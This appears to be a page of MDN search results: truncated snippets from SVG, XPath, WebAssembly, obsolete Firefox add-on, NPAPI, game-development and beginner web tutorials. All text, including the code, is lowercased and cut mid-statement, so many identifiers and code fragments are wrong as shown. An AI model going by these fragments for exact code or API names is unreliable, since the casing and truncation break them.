... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y2' in that specification.
...And 2 more matches
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <!-- arrowhead marker definition --> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> ...
...llowing elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
... working draft scalable vector graphics (svg) 2the definition of '<marker>' in that specification.
...And 2 more matches
child - XPath
WebXPathAxeschild
specifications specification status comment xpath 3.1the definition of 'child' in that specification.
... recommendation xpath 3.0the definition of 'child' in that specification.
... recommendation xpath 2.0the definition of 'child' in that specification.
...And 2 more matches
self - XPath
WebXPathAxesself
specifications specification status comment xpath 3.1the definition of 'self' in that specification.
... recommendation xpath 3.0the definition of 'self' in that specification.
... recommendation xpath 2.0the definition of 'self' in that specification.
...And 2 more matches
Using the WebAssembly JavaScript API - WebAssembly
you can create one using the webassembly.memory() constructor, which takes as arguments an initial size and (optionally) a maximum size and a shared property that states whether it is a shared memory or not.
... now add the following line to the top of your script, to create a memory instance: var memory = new webassembly.memory({initial:10, maximum:100}); the unit of initial and maximum is webassembly pages — these are fixed to 64kb in size.
... this means that the above memory instance has an initial size of 640kb, and a maximum size of 6.4mb.
...And 2 more matches
core/heritage - Archive of obsolete content
class module exports class utility function for making constructor functions with a proper prototype chain setup in declarative manner: var { class } = require('sdk/core/heritage'); var dog = class({ initialize: function initialize(name) { this.name = name; }, type: 'dog', bark: function bark() { return 'ruff!
...also you could specify which class you want to inherit from by passing special extends property: var pet = class({ extends: dog, // should inherit from dog initialize: function initialize(breed, name) { // to call ancestor methods you will have to access them // explicitly dog.prototype.initialize.call(this, name); this.breed = breed; }, call: function call(name) { return this.name === name ?
... this.green() / 255).tofixed(4) - k) / (1 - k)).tofixed(4); }, yellow: function yellow() { var k = this.black(); return (((1 - this.blue() / 255).tofixed(4) - k) / (1 - k)).tofixed(4); }, cyan: function cyan() { var k = this.black(); return (((1 - this.red() / 255).tofixed(4) - k) / (1 - k)).tofixed(4); } }); such composable pieces can be combined into a single class definition by passing special implements option to a class function: // composing `color` prototype out of reusable components: var color = class({ implements: [ hex, rgb, cmyk ], initialize: function initialize(color) { this.color = color; } }); var pink = color('ffc0cb'); // rgb pink.red() // => 255 pink.green() // => 192 pink.blue() // => 20...
... also you can mix inheritance and composition together if necessary: var point = class({ initialize: function initialize(x, y) { this.x = x; this.y = y; }, tostring: function tostring() { return this.x + ':' + this.y; } }) var pixel = class({ extends: point, implements: [ color ], initialize: function initialize(x, y, color) { color.prototype.initialize.call(this, color); point.prototype.initialize.call(this, x, y); }, tostring: function tostring() { ...
Getting started (cfx) - Archive of obsolete content
initializing an empty add-on in the command prompt, create a new directory.
...navigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/main.js written * doc/main.md written your sample add-on is now ready for testing: try "cfx test" and then "cfx run".
... summary in this tutorial we've built and packaged an add-on using three commands: cfx init to initialize an empty add-on template cfx run to run a new instance of firefox with the add-on installed, so we can try it out cfx xpi to package the add-on into an xpi file for distribution these are the three main commands you'll use when developing sdk add-ons.
... another example using grunt and grunt-shell: module.exports = function(grunt) { 'use strict'; require('matchdep').filterdev('grunt-!(cli)').foreach(grunt.loadnpmtasks); grunt.initconfig({ shell: { xpi: { command: [ 'cd pluginpath', 'cfx xpi', 'wget --post-file=pluginname.xpi http://localhost:8888/ || echo>/dev/null' ].join('&&') } }, watch: { xpi: { files: ['pluginpath/**'], tasks: ['shell:xpi'] } } }); grunt.loadnpmtasks('grunt-contrib-watch'); grunt.loadnpmtasks('...
Progress Listeners - Archive of obsolete content
esslistener", "nsisupportsweakreference"]), onstatechange: function(awebprogress, arequest, aflag, astatus) { // if you use mylistener for more than one tab/window, use // awebprogress.domwindow to obtain the tab/window which triggers the state change if (aflag & state_start) { // this fires when the load event is initiated } if (aflag & state_stop) { // this fires when the load finishes } }, onlocationchange: function(aprogress, arequest, auri) { // this fires when the location bar changes; that is load event is confirmed // or when the user switches tabs.
... }, // for definitions of the remaining functions see related documentation onprogresschange: function(awebprogress, arequest, curself, maxself, curtot, maxtot) {}, onstatuschange: function(awebprogress, arequest, astatus, amessage) {}, onsecuritychange: function(awebprogress, arequest, astate) {} } attach the progress listener to a <browser> or a <tabbrowser> element using addprogresslistener, for example for firefox put the following code in a load listener of a main window: gbrowser.addprogresslistener(mylistener); when used with a browser, the second argument is a mask which determines the type of events that will be receiv...
... var myextension = { oldurl: null, init: function() { gbrowser.addprogresslistener(this); }, uninit: function() { gbrowser.removeprogresslistener(this); }, processnewurl: function(auri) { if (auri.spec == this.oldurl) return; // now we know the url is new...
...ebprogresslistener", "nsisupportsweakreference"]), onlocationchange: function(aprogress, arequest, auri) { this.processnewurl(auri); }, onstatechange: function() {}, onprogresschange: function() {}, onstatuschange: function() {}, onsecuritychange: function() {} }; window.addeventlistener("load", function() { myextension.init() }, false); window.addeventlistener("unload", function() { myextension.uninit() }, false); note: if you use the same listener for more than one tab/window, use awebprogress.domwindow in the callback methods to obtain the tab/window which triggers the state change or event.
Listening to events in Firefox extensions - Archive of obsolete content
domcontentloaded dispatched when the initial dom for the page is completely loaded.
...the pageshow event uses a boolean property called persisted that is set to false on the initial load.
... it is set to true if it is not the initial load (in other words, it is set to true when the page is cached).
... firefox 1.5 tries to simulate load events in the same order they would occur when the page is initially loaded.
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
window.opendialog('another.xul', '_blank','chrome,all,dialog=no'); listing 1: opening a window without the firefox gui xul as an xml application listing 2 shows an example of a gui definition file marked up in xul (a "xul document").
... orient whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state.
... <menubar> <menu label="menu 1"> <menupopup> <menuitem label="item 1"/> <menuitem label="item 2"/> <menuseparator/> <menuitem label="item 3"/> <menu label="submenu"> <menupopup> <menuitem label="item 4"/> <menuitem label="item 5"/> </menupopup> </menu> </menupopup> </menu> </menubar> listing 9: a menu definition figure 6: output from listing 9 each item in a menu is marked up with the menuitem tag.
... external entities being a form of xml, xul can also use entity references based on dtds (document type definitions) as shown in listing 26.
Adding Events and Commands - Archive of obsolete content
the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here.
... window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need.
... please read appendix a for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox.
... another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior.
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage.
... install scripts just like with a regular initialization function, we want a load event handler: // rest of overlay code goes here.
... window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we need is some persistent flag that ensures that the first run code is only run once.
...so, if we were to use fuel, we can do the following in the init function: init : function() { let firstrunpref = "extensions.xulschoolhello.firstrundone"; if (!application.prefs.getvalue(firstrunpref, false)) { application.prefs.setvalue(firstrunpref, true); // all the rest of the first run code goes here.
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
my initial attempts at the markup and css for the wired news design eliminated the majority of our tables, but left one master table to control the primary columns of each page.
...despite some initial setbacks with those approaches due to our own unique scenarios, it wasn't long before i discovered a variation of one of their methods that worked for the wired news design.
... while conversion to xhtml and css definitely shaved off development time that would have normally been spent manipulating the code, it didn't come entirely easy or without cost.
... going through the initial conversion may take longer for some sites, depending on the organization and complexity of the data.
Notes on HTML Reflow - Archive of obsolete content
all html reflow, including the initial reflow , begins at the root frame , which corresponds to the <html> element of the html document.
...when reflow begins, the root reflow state is initialized with information about the top-level container for the document's presentation; e.g., the width and height of the application window.
...the reflow reason controls how a frame reacts during a reflow, and is one of the following: initial, for the very first time that the frame hierarchy is flowed.
... initial, incremental, resize, and style change reflows may each be performed as an immediate "global" reflow from the presentation shell: an initial reflow is performed when the presentation shell is initialized to flow the shell's initial frame hierarchy.
Creating a Help Content Pack - Archive of obsolete content
the glossary file is written in rdf and consists of a simple list of terms with corresponding urls to the term definition.
... nc:datasources should be set as with table of contents, index, and glossary definitions.
... nc:platform (added in mozilla 1.8b2/firefox 1.1) may be used on search data sources as it's used on table of contents, index, and glossary definitions.
... add the following to your file just after the existing rdf:description element: <rdf:description rdf:about="#foo"> <nc:subheadings> <rdf:seq> <rdf:li><rdf:description rdf:id="bar" nc:link="bar.html" nc:title="bar"/></rdf:li> </rdf:seq> </nc:subheadings> </rdf:description> except for the different value for rdf:about, this looks exactly like a top-level entry definition.
Elements - Archive of obsolete content
for example, an xml fragment <customelement><foobar><hoge/></foobar></customelement> with an binding definition <binding id="customelement"><content><xul:box><children includes="hoge"/></xul:box></content></binding> for the customelement element, <xul:box/> becomes empty because the selector includes="hoge" doesn't match for the immediate child foobar element.
...the field element must have content which is code that determines the initial value of the field.
...if this attribute is set, any initial value contained underneath the element will be ignored.
...if this attribute is set, any initial value contained underneath the element will be ignored.
toString - Archive of obsolete content
summary converts an installversion init object to a string.
... method of installversion object syntax string version = installversion.tostring ( initobj ); parameters the tostring method has the following parameter: initobj initobj is an installversion object whose init method has been called.
...the init() function can input the version number as a single string or as a series of parameters representing the version numbers of the installation.
... to get the version number out of an installversion object in order to compare it with other versions, you can call tostring() and get back the version as a string in the format "maj.min.rev.bld." example var vi = new installversion(); vi.init("999.888.777.666"); //random string vistring = vi.tostring(); ...
textbox (Toolkit autocomplete) - Archive of obsolete content
note: for firefox 12 and above, this event handler must be set as an initial attribute.
... note: for firefox 12 and above, this event handler must be set as an initial attribute.
... note: for firefox 12 and above, this event handler must be set as an initial attribute.
... note: for firefox 12 and above, this event handler must be set as an initial attribute.
Install Scripts - Archive of obsolete content
the install script should take the following steps: initialize the installation by specifying what package and version is being installed.
...install initialization the install object has a function, initinstall() which can be used to initialize for the installation.
...the syntax of this function is as follows: initinstall( ''packagename'' , ''regpackage'' , ''version'' ); an example initinstall("find files","/xulplanet/find files","0.5.0.0"); the first argument is the name of the package in user-readable form.
...the final script for installing the find files component is shown below: source initinstall("find files","/xulplanet/find files","0.5.0.0"); finddir = getfolder("chrome","findfile"); setpackagefolder(finddir); adddirectory("findfile"); registerchrome(install.content | install.delayed_chrome, getfolder(finddir, "content")); registerchrome(install.skin | install.delayed_chrome, getfolder(finddir, "skin")); registerchrome(install.locale | install.delayed_chrome, getfolder(finddir...
XUL Questions and Answers - Archive of obsolete content
specifying window.onload function to specify a function to run when the window is loaded,add the following code between the script tags in the xul file: window.addeventlistener("load", function(e) { startup(); }, false); similarly, for onunload use the code: window.addeventlistener("unload", function(e) { shutdown(); }, false); is there an event which is called when the firefox browser is initialized?
... an event is initiated when the application starts up and when the profile is changed.
...terface = function(aiid) { if (aiid.equals(listobj.wpl) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; } listobj.onstatechange = function(aprogress, arequest, aflag, astatus) { if (aflag & listobj.wpl.state_start) { // this fires when the load event is initiated } else { if (aflag & listobj.wpl.state_stop) { if ( aflag & listobj.wpl.state_is_window ) { // this fires when all load finish } if ( aflag & listobj.wpl.state_is_network ) { // fires when all load are really over, // do something "final" here // (my two cents) } else { // this fires when a load finishes } } } ...
... return 0; } // this fires when the location bar changes i.e load event is confirmed // or when the user switches tabs listobj.onlocationchange = function(aprogress, arequest, auri) { // do whatever you want to do return 0; } // for definitions of the remaining functions see xulplanet.com listobj.onprogresschange = function() { return 0 }; listobj.onstatuschange = function() { return 0 }; listobj.onsecuritychange = function() { return 0 }; listobj.onlinkiconavailable = function() { return 0 }; /* i use the progress listener to trap the end of a local html "template" file loading, and run xslt transormations.
prefwindow - Archive of obsolete content
notes usage patterns opening/initializing a prefwindow note that you can define an initwithparams() function in your sub window - to handle parameters passed using openwindow() in case the window was already open.
...it uses initwithparams() to change the dialog type without closing and re-opening it.
... the suggested usage pattern is as follows: // subwindow.js function onload(ev) { // do some initialization...
... initwithparams(window.arguments[0]); // we expect a single parameter to be passed to the window } function initwithparams(aparams) { // this will also get called when an already open window is activated using openwindow() } closing a prefwindow sometimes you need to do things when the prefwindow is closed, such as things that can't (or shouldn't) be handled as preferences, such as saving passwords or updating sqlite data.
NPN_RequestRead - Archive of obsolete content
this initiates a read operation; the actual data is received through subsequent calls to npp_writeready() and npp_write().
... the plug-in can call npn_requestread() on streams that were not initially in np_seek mode as long as the stream is inherently seekable; npn_requestread() automatically changes the mode to np_seek.
... if the stream is not inherently seekable, the stream must have been put in np_seek mode initially (since the browser must cache all the stream data on disk in order to access it randomly).
... if npn_requestread() is called on a stream that is not inherently seekable and not initially in mode np_seek, it returns the error code nperr_stream_not_seekable.
NPAPI plugin reference - Archive of obsolete content
np_initialize provides global initialization for a plug-in.
... np_shutdown provides global deinitialization for a plug-in.
... npn_pluginthreadasynccall thread safe way to request that the browser calls a plug-in function on the browser or plugin thread (the thread on which the plug-in was initiated).
...this initiates a read operation; the actual data is received through subsequent calls to npp_writeready() and npp_write().
Writing a plugin for Mac OS X - Archive of obsolete content
xp_macosx it's important to define the gcc preprocessor definition xp_macosx to 1; this is used by the npapi headers to build properly on mac os x.
... the three symbols that must always be visible are: np_initialize() np_getentrypoints() np_shutdown() the sample plugin is written entirely in c, using a standard xcode build configuration, so by default all of its symbols are c-style and visible.
... if you want to implement your plugin in c++ or objective-c++, you need to tell the compiler to export them in c format by using extern "c" in the header, like this: #pragma gcc visibility push(default) extern "c" { nperror np_initialize(npnetscapefuncs *browserfuncs); nperror np_getentrypoints(nppluginfuncs *pluginfuncs); void np_shutdown(void); } #pragma gcc visibility pop you can check to be sure your symbols are visible and in standard c format by using the nm utility provided among the mac os x developer tools: [user@foo mymac] nm basicplugin ...
... 00000810 t _np_getentrypoints 000007fa t _np_initialize 000008a0 t _np_shutdown ...
LiveConnect Overview - Archive of obsolete content
more recently, the classes have been distributed with sun's java runtime; initially in the file "jaws.jar" in the "jre/lib" directory of the runtime distribution (for jre 1.3), then in "plugin.jar" in the same location (jre 1.4 and up).
...to get a better sense of how getmember works, look at the definition of the custom javascript object dog: function dog(breed,color,sex){ this.breed = breed; this.color = color; this.sex = sex; } you can create a javascript instance of dog called gabby as follows: var gabby = new dog("lab", "chocolate", "female"); if you evaluate gabby.color, you can see that it has the value "chocolate".
... values which are too large or small to be represented are rounded to +infinity or -infinity.
... byte char int long short values are rounded using round-to-negative-infinity mode.
Building up a basic demo with Babylon.js - Game development
initialising the babylon.js engine we have to create a babylon.js engine instance first (passing it the <canvas> element to render on) before we start developing our game.
... var renderloop = function () { scene.render(); }; engine.runrenderloop(renderloop); we're using the engine's runrenderloop() method to execute the renderloop() function repeatedly on every frame — the loop will continue to render indefinitely until told to stop.
...to initialize it you need to pass it three parameters: any name you want to use for it, the coordinates where you want it to be positioned in the 3d space, and the scene you want to add it to.
...add the following line below your camera definition: var light = new babylon.pointlight("light", new babylon.vector3(10, 10, 0), scene); the parameters are very similar to the previously defined camera: the name of the light, a position in 3d space and the scene to which the light is added.
Building up a basic demo with PlayCanvas editor - Game development
creating the scene here's how the scene looks initially in the editor.
...as you can see, the file contains some boilerplate code already: pc.script.create('boxanimation', function (app) { // creates a new boxanimation instance var boxanimation = function (entity) { this.entity = entity; }; boxanimation.prototype = { // called once after all resources are loaded and before the first update initialize: function () { }, // called every frame, dt is time in seconds since last update update: function (dt) { } }; return boxanimation; }); the most interesting part is the update() function, which is where we can put any code that we want repeated on every frame.
...add this code to the initialize() function: this.timer = 0; and those two lines to the update() function: this.timer += dt; this.entity.setlocalscale(1, math.abs(math.sin(this.timer)), 1); the setlocalscale() method applies the given values to the x, y and z axes of the object.
... next, add the following line to the initialize() function: this.timer = 0; to move the cone up and down we will use the setposition() method — add the code below to the update() function: this.timer += dt; this.entity.setposition(2, math.sin(this.timer*2), 0); the position of the cone will be animated on each frame by being passed the math.sin() value of the timer at each point in time — we have doubled the this.timer value to m...
Extra lives - Game development
add the following lines below the existing scoretext definition inside your create() function: livestext = game.add.text(game.world.width-5, 5, 'lives: '+lives, { font: '18px arial', fill: '#0095dd' }); livestext.anchor.set(1,0); lifelosttext = game.add.text(game.world.width*0.5, game.world.height*0.5, 'life lost, click to continue', { font: '18px arial', fill: '#0095dd' }); lifelosttext.anchor.set(0.5); lifelosttext.visible = false; the livestext and l...
... the lifelosttext will be shown only when the life is lost, so its visibility is initially set to false.
...to make it easier for us to maintain in the future we can create a separate variable that will hold our styling, let's call it textstyle and place it before the text definitions: textstyle = { font: '18px arial', fill: '#0095dd' }; we can now use this variable when stlying our text labels — update your code so that the multiple instances of the text styling are replaced with the variable: scoretext = game.add.text(5, 5, 'points: 0', textstyle); livestext = game.add.text(game.world.width-5, 5, 'lives: '+lives, textstyle); livestext.anchor.set(1,0); lifelosttext ...
...add the ballleavescreen() function definition at the end of our code: function ballleavescreen() { lives--; if(lives) { livestext.settext('lives: '+lives); lifelosttext.visible = true; ball.reset(game.world.width*0.5, game.world.height-25); paddle.reset(game.world.width*0.5, game.world.height-5); game.input.ondown.addonce(function(){ lifelosttext.visible = false; bal...
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
initially css didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property.
... for example: /* heading default color is black */ h1 { color: red; } h1 { color: black; } this has changed with css 2; the keyword initial is now a valid value for a css property.
... /* heading default color is black */ h1 { color: red; } h1 { color: initial; } how do i derive one style from another?
...if you define a rule and then you re-define the same rule, the last definition is used.
Advanced text formatting - Learn web development
the purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers.
... let's look at an example of a set of terms and definitions: soliloquy in drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.) monologue in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
...this is usually a feeling, thought or piece of additional background information description lists use a different wrapper than the other list types — <dl>; in addition each term is wrapped in a <dt> (description term) element, and each description is wrapped in a <dd> (description definition) element.
...this is usually a feeling, thought, or piece of additional background information.</dd> <dd>in writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd> </dl> active learning: marking up a set of definitions it's time to try your hand at description lists; add elements to the raw text in the input field so that it appears as a description list in the output field.
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
here, you're storing a reference to the <div> inside a constant, setting a rotatecount variable to 0, setting an uninitialized variable that will later be used to contain a reference to the requestanimationframe() call, and setting a starttime variable to null, which will later be used to store the start time of the requestanimationframe().
... raf = requestanimationframe(draw); below the draw() function definition, add a call to the the draw() function to start the animation.
... an uninitialized variable to later store the requestanimationframe() call that animates the spinner.
...this is very similar to the version from the simple spinner example, earlier: function draw(timestamp) { if(!starttime) { starttime = timestamp; } rotatecount = (timestamp - starttime) / 3; if(rotatecount > 359) { rotatecount %= 360; } spinner.style.transform = 'rotate(' + rotatecount + 'deg)'; raf = requestanimationframe(draw); } now it is time to set up the initial state of the app when the page first loads.
Test your skills: Conditionals - Learn web development
response — begins uninitialized, but is later used to store a reponse that will be printed to the output panel.
... response — begins uninitialized, but is later used to store a reponse that will be printed to the output panel.
... machineresult — begins uninitialized, but is later used to store a reponse that will be printed to the output panel, letting the user know whether the machine is switched on.
... pwdresult — begins uninitialized, but is later used to store a reponse that will be printed to the output panel, letting the user know whether their login attempt was succcessful.
Client-side storage - Learn web development
database initial set up now let's look at what we have to do in the first place, to actually set up a database.
...add this to your code, below the previous function definition: // define the displaydata() function function displaydata() { // here we empty the contents of the list element each time the display is updated // if you didn't do this, you'd get duplicates listed each time a new note is added while (list.firstchild) { list.removechild(list.firstchild); } // open our object store and then get a cursor - which iterates through all the // di...
... for this simple example, we've stored the names of the videos to fetch in an array of objects: const videos = [ { 'name' : 'crystal' }, { 'name' : 'elf' }, { 'name' : 'frog' }, { 'name' : 'monster' }, { 'name' : 'pig' }, { 'name' : 'rabbit' } ]; to start with, once the database is successfully opened we run an init() function.
... function init() { // loop through the video names one by one for(let i = 0; i < videos.length; i++) { // open transaction, get object store, and get() each video by name let objectstore = db.transaction('videos_os').objectstore('videos_os'); let request = objectstore.get(videos[i].name); request.onsuccess = function() { // if the result exists in the database (is not undefined) ...
What went wrong? Troubleshooting JavaScript - Learn web development
so loworhi has been declared and initialised, but not with any meaningful value — it has no type or value.
... sure enough, loworhi's value is null at this point, so there is definitely a problem with line 48.
...definitely not quite how we want the game to play out!
... there's definitely a problem in the game logic somewhere — the game is not returning an error; it just isn't playing right.
Adding features to our bouncing balls demo - Learn web development
the ball draw(), update(), and collisiondetect() method definitions should be able to stay exactly the same as they were before.
...it will work in a very similar way, so you can start by copying the ball.prototype.draw definition.
...again, you can mostly just copy the ball.prototype.update definition, but there are a few changes you should make: get rid of the last two lines — we don't want to automatically update the evil circle's position on every frame, because we will be moving it in some other way, as you'll see below.
...the following code block should be put inside the method definition: let _this = this; window.onkeydown = function(e) { if (e.key === 'a') { _this.x -= _this.velx; } else if (e.key === 'd') { _this.x += _this.velx; } else if (e.key === 'w') { _this.y -= _this.vely; } else if (e.key === 's') { _this.y += _this.vely; } } so when a key is pressed, the event object's keycode property is consulted to see which key is ...
Object-oriented JavaScript for beginners - Learn web development
you can also define the same feature separately in different classes, as each definition of that feature will be in a different namespace.
... constructors and object instances javascript uses special functions called constructor functions to define and initialize objects and their features.
...each instance is created according to this definition: function person(name) { this.name = name; this.greeting = function() { alert('hi!
...can you work out how to fix this in the class definition (constructor)?
Dynamic behavior in Svelte: working with variables and props - Learn web development
you can also specify a default initial value for a prop.
... this will be used if the component's consumer doesn't specify the prop on the component — or if its initial value is undefined — when instantiating the component.
... so with export let todos = [], we are telling svelte that our todos.svelte component will accept a todos attribute, which when omitted will be initialized to an empty array.
... update your totaltodos and completedtodos variable definitions inside src/components/todos.svelte to look like so: $: totaltodos = todos.length $: completedtodos = todos.filter(todo => todo.completed).length if you check your app now, you'll see that the heading's numbers are updated when todos are completed or deleted.
Getting started with Vue - Learn web development
to install the cli, run the following command in your terminal: npm install --global @vue/cli or if you'd prefer to use yarn: yarn global add @vue/cli once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>.
... initializing a new project to explore various features of vue, we will be building up a sample todo list app.
...currently, this file initializes your vue application and signifies which html element in the index.html file your app should be attached to.
...right now, it should contain a welcome message, a link to the vue documentation, links to the plugins you added when you initialized the app with your cli, and some other useful links to the vue community and ecosystem.
Understanding client-side JavaScript frameworks - Learn web development
this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.
...getting started with ember in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... we are publishing our initial set of articles with guides focusing on four frameworks.
... note that we were hoping to have more frameworks included upon initial publication, but we decided to release the content and then add more framework guides later, rather than delay it longer.
Accessibility API cross-reference
aria is a standard developed as part of the web accessibility initiative, which uses markup syntax quite familiar to users of html, xml, sgml and others.
... cursor n/a n/a n/a a definition of a term or concept.
... definition <dd>, <dfn> <lbody> iconified version of an app (n/a - use either pushbutton or listitem) desktop_icon desktop_icon n/a a specific kind of a graphic - a diagram.
... tabpanel a word or phrase with a corresponding definition.
Creating reftest-based unit tests
more investigation into whether this will work is definitely warranted.
... the reason for using the 'mozreftestinvalidate' event is because a document's initial painting is not typically finished when the 'load' event fires.
... it would be possible to try and wait for the initial rendering to be done using a settimeout, but that would be unreliable, and just as bad, it can increase the time it takes to run a test many times over (which when you're running thousands of tests can really slow things down).
... the 'mozreftestinvalidate' event is designed to fire as soon after the initial rendering of the document is finished as possible, but never before.
Creating Sandboxed HTTP Connections
lasses["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
... onstartrequest - gets called when a new request is initiated.
...below is an example: // global channel var gchannel; // init the channel // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); // get a channel for that nsiuri gchannel = ioservice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(callbackfunc);...
...e = { mdata: "", // nsistreamlistener onstartrequest: function (arequest, acontext) { this.mdata = ""; }, ondataavailable: function (arequest, acontext, astream, asourceoffset, alength) { var scriptableinputstream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interfaces.nsiscriptableinputstream); scriptableinputstream.init(astream); this.mdata += scriptableinputstream.read(alength); }, onstoprequest: function (arequest, acontext, astatus) { if (components.issuccesscode(astatus)) { // request was successfull this.mcallbackfunc(this.mdata); } else { // request failed this.mcallbackfunc(null); } gchannel = null; }, // nsichanneleventsink onchannelredirect: func...
Eclipse CDT Manual Setup
since eclipse doesn't initially have any of this information, the code assistance that it's able to provide out of the box is pretty broken.
...below.) initial workspace preferences when you open eclipse, it will ask you to "select a workspace" (a directory where eclipse will store files that it generates during indexing, and so on.) it's recommended that you have a separate workspace containing only a single project for each mozilla source tree [rational], and that you choose a directory outside the mozilla source.
...(if an "indexing" item starts after the "refreshing the workspace" item has finished, click the little red box beside that item to cancel it, since we want to configure the project before the indexer runs.) initial project properties so that the indexer will run faster and give better results, and so that eclipse doesn't give results for irrelevant files, you should add some resource filters to have eclipse ignore certain non-source files and directories.
... if you don't put just-print-mozilla-build.py somewhere in your path, then go back to the initial project properties section where you set just-print-mozilla-build.py and specify its absolute path instead of just its name.
SVG Guidelines
basics two spaces indenting no useless whitespaces or line breaks (see below for more details) adding a license header use double quotes whitespace and line breaks whitespace in addition to trailing whitespace at the end of lines, there are a few more cases more specific to svgs: trailing whitespaces in attribute values (usually seen in path definitions) excessive whitespace in path or polygon points definition examples this path: <path d=" m5,5 l1,1z "> can be cut down to this: <path d="m5,5 l1,1z"> similarly, this polygon: <polygon points=" 0,0 4,4 4,0 "/> can be cut down to this: <polygon points="0,0 4,4 4,0"/> line breaks you should only use line breaks for logical separation or if they help make the file readable.
...metadata can mean many things, including: the typical "created with editor" comments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists.
...here's an example taking into account the list below: version x="0" and y="0" enable-background (unsupported by gecko and now deprecated by the filter effects specification) id (id on root element has no effect) xmlns:xlink attribute when there are no xlink:href attributes used throughout the file other unused xml namespace definitions xml:space when there is no text used in the file other empty tags, this may be obvious, but those are sometimes found in svgs unreferenced ids (usually on gradient stops, but also on shapes or paths) clip-rule attribute when the element is not a descendant of a <clippath> fill-rule attribute when the element is a descendant of a <clippath> unreferenced/unused clip paths, masks or de...
... instead of using css/svg transforms, apply directly the transform on the path/shape definition.
mach
for zsh, you can call the built-in bashcompinit function before sourcing: autoload bashcompinit bashcompinit source /path/to/mozilla-central/python/mach/bash-completion.sh frequently asked questions why should i not use mach?
...the __init__ method of the class must take either 1 or 2 arguments (including self).
... if your class inherits from object, no explicit __init__ implementation is required (the default takes 1 argument).
... if your class's __init__ takes 2 arguments, the second argument will be an instance of mach.base.commandcontext.
Performance best practices for Firefox front-end engineers
by doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the xul document faster.
...this happens the first time the page loads and the css is initially applied, but can happen again if javascript modifies the dom.
... explicitly define start and end animation values some optimizations in the animation code of gecko are based on an expectation that the from (0%) and the to (100%) values will be explicitly defined in the @keyframes definition.
... even though these values may be inferred through the use of initial values or the cascade, the offscreen animation optimizations are dependent on the explicit definition.
Storage access policy: Block cookies from trackers
we also support an initial implementation of the storage access api, through which embedded <iframe>s can request storage access by calling document.requeststorageaccess().
...when that occurs, there are three possible ways a third-party origin can be granted access: the origin of the resource that is initially loaded in the pop-up window is granted storage access on the opener document.
... after the initial resource is loaded in the pop-up window, the window may go through a series of redirects to other hosts.
...an initial implementation of this api is currently available in nightly.
Extending a Protocol
implementing the navigator.echo() in your favorite editor, open dom/webidl/navigator.webidl at the end of the file, add: partial interface navigator { [throws] promise<domstring> echo(domstring astring); }; now we need to implement the echo() method in c++, so open up ./dom/base/navigator.h and let's add the method definition, so under public:: already_addrefed<promise> echo(const nsastring& astring, errorresult& arv); we use nsastring& as the domstring comes in from js as utf-16.
